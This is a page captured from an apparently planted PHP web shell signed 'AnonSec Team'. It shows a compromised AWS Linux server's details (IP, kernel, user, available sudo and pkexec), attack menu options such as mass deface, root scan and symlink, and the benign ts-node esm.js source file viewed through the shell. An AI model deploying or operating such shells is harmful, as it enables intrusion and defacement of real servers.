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/  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/node_modules/ts-node/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/node_modules/ts-node/dist/esm.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.createEsmHooks = exports.registerAndCreateEsmHooks = exports.filterHooksByAPIVersion = void 0;
const index_1 = require("./index");
const url_1 = require("url");
const path_1 = require("path");
const assert = require("assert");
const util_1 = require("./util");
const module_1 = require("module");
const { createResolve, } = require('../dist-raw/node-esm-resolve-implementation');
const { defaultGetFormat } = require('../dist-raw/node-esm-default-get-format');
// The hooks API changed in node version X so we need to check for backwards compatibility.
// TODO: When the new API is backported to v12, v14, update these version checks accordingly.
const newHooksAPI = (0, index_1.versionGteLt)(process.versions.node, '17.0.0') ||
    (0, index_1.versionGteLt)(process.versions.node, '16.12.0', '17.0.0') ||
    (0, index_1.versionGteLt)(process.versions.node, '14.999.999', '15.0.0') ||
    (0, index_1.versionGteLt)(process.versions.node, '12.999.999', '13.0.0');
/** @internal */
function filterHooksByAPIVersion(hooks) {
    const { getFormat, load, resolve, transformSource } = hooks;
    // Explicit return type to avoid TS's non-ideal inferred type
    const hooksAPI = newHooksAPI
        ? { resolve, load, getFormat: undefined, transformSource: undefined }
        : { resolve, getFormat, transformSource, load: undefined };
    return hooksAPI;
}
exports.filterHooksByAPIVersion = filterHooksByAPIVersion;
/** @internal */
function registerAndCreateEsmHooks(opts) {
    // Automatically performs registration just like `-r ts-node/register`
    const tsNodeInstance = (0, index_1.register)(opts);
    return createEsmHooks(tsNodeInstance);
}
exports.registerAndCreateEsmHooks = registerAndCreateEsmHooks;
function createEsmHooks(tsNodeService) {
    tsNodeService.enableExperimentalEsmLoaderInterop();
    // Custom implementation that considers additional file extensions and automatically adds file extensions
    const nodeResolveImplementation = createResolve({
        ...(0, index_1.getExtensions)(tsNodeService.config),
        preferTsExts: tsNodeService.options.preferTsExts,
    });
    const hooksAPI = filterHooksByAPIVersion({
        resolve,
        load,
        getFormat,
        transformSource,
    });
    function isFileUrlOrNodeStyleSpecifier(parsed) {
        // We only understand file:// URLs, but in node, the specifier can be a node-style `./foo` or `foo`
        const { protocol } = parsed;
        return protocol === null || protocol === 'file:';
    }
    /**
     * Named "probably" as a reminder that this is a guess.
     * node does not explicitly tell us if we're resolving the entrypoint or not.
     */
    function isProbablyEntrypoint(specifier, parentURL) {
        return parentURL === undefined && specifier.startsWith('file://');
    }
    // Side-channel between `resolve()` and `load()` hooks
    const rememberIsProbablyEntrypoint = new Set();
    const rememberResolvedViaCommonjsFallback = new Set();
    async function resolve(specifier, context, defaultResolve) {
        const defer = async () => {
            const r = await defaultResolve(specifier, context, defaultResolve);
            return r;
        };
        // See: https://github.com/nodejs/node/discussions/41711
        // nodejs will likely implement a similar fallback.  Till then, we can do our users a favor and fallback today.
        async function entrypointFallback(cb) {
            try {
                const resolution = await cb();
                if ((resolution === null || resolution === void 0 ? void 0 : resolution.url) &&
                    isProbablyEntrypoint(specifier, context.parentURL))
                    rememberIsProbablyEntrypoint.add(resolution.url);
                return resolution;
            }
            catch (esmResolverError) {
                if (!isProbablyEntrypoint(specifier, context.parentURL))
                    throw esmResolverError;
                try {
                    let cjsSpecifier = specifier;
                    // Attempt to convert from ESM file:// to CommonJS path
                    try {
                        if (specifier.startsWith('file://'))
                            cjsSpecifier = (0, url_1.fileURLToPath)(specifier);
                    }
                    catch { }
                    const resolution = (0, url_1.pathToFileURL)((0, module_1.createRequire)(process.cwd()).resolve(cjsSpecifier)).toString();
                    rememberIsProbablyEntrypoint.add(resolution);
                    rememberResolvedViaCommonjsFallback.add(resolution);
                    return { url: resolution, format: 'commonjs' };
                }
                catch (commonjsResolverError) {
                    throw esmResolverError;
                }
            }
        }
        const parsed = (0, url_1.parse)(specifier);
        const { pathname, protocol, hostname } = parsed;
        if (!isFileUrlOrNodeStyleSpecifier(parsed)) {
            return entrypointFallback(defer);
        }
        if (protocol !== null && protocol !== 'file:') {
            return entrypointFallback(defer);
        }
        // Malformed file:// URL?  We should always see `null` or `''`
        if (hostname) {
            // TODO file://./foo sets `hostname` to `'.'`.  Perhaps we should special-case this.
            return entrypointFallback(defer);
        }
        // pathname is the path to be resolved
        return entrypointFallback(() => nodeResolveImplementation.defaultResolve(specifier, context, defaultResolve));
    }
    // `load` from new loader hook API (See description at the top of this file)
    async function load(url, context, defaultLoad) {
        var _a;
        // If we get a format hint from resolve() on the context then use it
        // otherwise call the old getFormat() hook using node's old built-in defaultGetFormat() that ships with ts-node
        const format = (_a = context.format) !== null && _a !== void 0 ? _a : (await getFormat(url, context, defaultGetFormat)).format;
        let source = undefined;
        if (format !== 'builtin' && format !== 'commonjs') {
            // Call the new defaultLoad() to get the source
            const { source: rawSource } = await defaultLoad(url, {
                ...context,
                format,
            }, defaultLoad);
            if (rawSource === undefined || rawSource === null) {
                throw new Error(`Failed to load raw source: Format was '${format}' and url was '${url}''.`);
            }
            // Emulate node's built-in old defaultTransformSource() so we can re-use the old transformSource() hook
            const defaultTransformSource = async (source, _context, _defaultTransformSource) => ({ source });
            // Call the old hook
            const { source: transformedSource } = await transformSource(rawSource, { url, format }, defaultTransformSource);
            source = transformedSource;
        }
        return { format, source };
    }
    async function getFormat(url, context, defaultGetFormat) {
        const defer = (overrideUrl = url) => defaultGetFormat(overrideUrl, context, defaultGetFormat);
        // See: https://github.com/nodejs/node/discussions/41711
        // nodejs will likely implement a similar fallback.  Till then, we can do our users a favor and fallback today.
        async function entrypointFallback(cb) {
            try {
                return await cb();
            }
            catch (getFormatError) {
                if (!rememberIsProbablyEntrypoint.has(url))
                    throw getFormatError;
                return { format: 'commonjs' };
            }
        }
        const parsed = (0, url_1.parse)(url);
        if (!isFileUrlOrNodeStyleSpecifier(parsed)) {
            return entrypointFallback(defer);
        }
        const { pathname } = parsed;
        assert(pathname !== null, 'ESM getFormat() hook: URL should never have null pathname');
        const nativePath = (0, url_1.fileURLToPath)(url);
        // If file has .ts, .tsx, or .jsx extension, then ask node how it would treat this file if it were .js
        const ext = (0, path_1.extname)(nativePath);
        let nodeSays;
        if (ext !== '.js' && !tsNodeService.ignored(nativePath)) {
            nodeSays = await entrypointFallback(() => defer((0, url_1.format)((0, url_1.pathToFileURL)(nativePath + '.js'))));
        }
        else {
            nodeSays = await entrypointFallback(defer);
        }
        // For files compiled by ts-node that node believes are either CJS or ESM, check if we should override that classification
        if (!tsNodeService.ignored(nativePath) &&
            (nodeSays.format === 'commonjs' || nodeSays.format === 'module')) {
            const { moduleType } = tsNodeService.moduleTypeClassifier.classifyModule((0, util_1.normalizeSlashes)(nativePath));
            if (moduleType === 'cjs') {
                return { format: 'commonjs' };
            }
            else if (moduleType === 'esm') {
                return { format: 'module' };
            }
        }
        return nodeSays;
    }
    async function transformSource(source, context, defaultTransformSource) {
        if (source === null || source === undefined) {
            throw new Error('No source');
        }
        const defer = () => defaultTransformSource(source, context, defaultTransformSource);
        const sourceAsString = typeof source === 'string' ? source : source.toString('utf8');
        const { url } = context;
        const parsed = (0, url_1.parse)(url);
        if (!isFileUrlOrNodeStyleSpecifier(parsed)) {
            return defer();
        }
        const nativePath = (0, url_1.fileURLToPath)(url);
        if (tsNodeService.ignored(nativePath)) {
            return defer();
        }
        const emittedJs = tsNodeService.compile(sourceAsString, nativePath);
        return { source: emittedJs };
    }
    return hooksAPI;
}
exports.createEsmHooks = createEsmHooks;
//# sourceMappingURL=esm.js.map

Anon7 - 2022
AnonSec Team